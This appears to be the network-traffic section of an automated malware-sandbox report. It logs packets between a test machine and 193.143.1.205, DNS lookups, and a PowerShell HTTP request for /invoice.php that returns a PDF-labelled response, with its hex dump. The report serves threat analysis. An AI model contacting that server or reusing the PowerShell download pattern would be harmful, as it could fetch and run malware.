Jan 11, 2025 02:25:10.639668941 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639808893 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639820099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639831066 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639842033 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639851093 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639852047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639863014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639873981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639878035 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639883995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639894962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639913082 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639923096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640053988 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640064955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640075922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640085936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640088081 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640100002 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640110970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640113115 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640121937 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640136003 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640153885 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640182972 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640310049 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640321016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640332937 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640342951 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640347004 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640352964 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640362978 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640372038 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640373945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640384912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640386105 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640396118 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640403986 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640408039 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640418053 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.640429020 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.640455008 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.644186974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644217968 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644227982 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644238949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644253969 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.644279003 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.644309044 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644319057 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644329071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.644361973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678042889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678067923 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678087950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678090096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678116083 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678117990 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678160906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678178072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678191900 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678323030 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678333998 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678345919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678354979 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678404093 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678445101 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678456068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678466082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678477049 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678497076 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678519964 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678620100 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678630114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678641081 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678652048 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678664923 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678664923 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678677082 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.678766012 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678778887 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.678803921 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.681814909 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681826115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681835890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681857109 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.681888103 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.681936026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681946039 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681957006 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.681986094 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.682077885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682089090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682100058 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682111025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682113886 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.682132006 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.682205915 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682214975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682225943 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682234049 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.682236910 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682245970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.682259083 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.682279110 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.736881018 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.736896038 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.736907959 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.736920118 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.736943007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.736963034 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.736979961 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.736989975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737000942 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737010956 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737026930 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737051964 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737119913 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737134933 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737140894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737169027 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737322092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737333059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737343073 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737354994 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737360001 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737365007 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737375021 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737385988 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737387896 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737396955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737410069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737421989 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737438917 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737596989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737633944 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737680912 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737737894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737749100 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737759113 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737768888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737780094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737778902 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737795115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737806082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737812042 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737816095 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737826109 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737837076 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737840891 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737847090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737858057 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737864971 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737868071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737874985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737880945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737891912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737905025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.737909079 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737927914 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.737948895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738543987 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738555908 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738565922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738576889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738586903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738596916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738606930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738606930 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738617897 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738627911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738631010 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738637924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738647938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738651037 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738658905 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738668919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738672018 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738678932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738689899 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738691092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738702059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.738708973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.738728046 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739151955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739162922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739173889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739183903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739193916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739200115 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739203930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739214897 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739218950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739224911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739234924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739244938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739252090 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739255905 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739265919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739273071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739275932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739285946 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739295959 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739299059 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739310980 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739331007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739357948 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739703894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739716053 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739726067 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739737988 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.739752054 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.739768982 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.766886950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.766916037 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.766928911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.766940117 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.766952038 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.766952038 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.766988039 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767016888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767029047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767040014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767046928 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767051935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767070055 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767139912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767152071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767163038 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767180920 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767205000 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767266989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767277002 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767283916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767337084 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767437935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767447948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767458916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767469883 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767481089 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767483950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767493963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767504930 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.767504930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767515898 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.767530918 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.770591974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770603895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770616055 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770625114 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.770653009 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.770709991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770720959 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770733118 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770766973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.770844936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770879030 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.770895004 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770910025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.770939112 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.771780968 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.771800995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.771837950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.830226898 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.835216045 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.835235119 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.835247993 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.835299969 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.840758085 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845613956 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845642090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845654964 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845669031 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845690966 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845756054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845767975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845781088 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845802069 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845845938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845859051 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845951080 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845963001 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845968962 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845976114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.845980883 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.845988035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.846005917 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.886457920 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.041733027 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.185975075 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.699851036 CET	49727	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.704806089 CET	8888	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:11.704871893 CET	49727	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.705178976 CET	49727	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:11.709942102 CET	8888	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:12.521663904 CET	8888	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:12.573967934 CET	49727	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:13.184369087 CET	49727	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:25.320970058 CET	64668	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:25:25.325738907 CET	53	64668	1.1.1.1	192.168.2.10
Jan 11, 2025 02:25:25.325810909 CET	64668	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:25:25.330718040 CET	53	64668	1.1.1.1	192.168.2.10
Jan 11, 2025 02:25:25.791830063 CET	64668	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:25:25.796756029 CET	53	64668	1.1.1.1	192.168.2.10
Jan 11, 2025 02:25:25.796829939 CET	64668	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:25:20.220707893 CET	57821	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:25:25.320367098 CET	53	54033	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:25:20.220707893 CET	192.168.2.10	1.1.1.1	0x7f8a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:25:20.228033066 CET	1.1.1.1	192.168.2.10	0x7f8a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:25:20.961538076 CET	1.1.1.1	192.168.2.10	0x165e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:25:20.961538076 CET	1.1.1.1	192.168.2.10	0x165e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49711	193.143.1.205	80	8104	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:25:09.161362886 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:25:10.013322115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:25:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 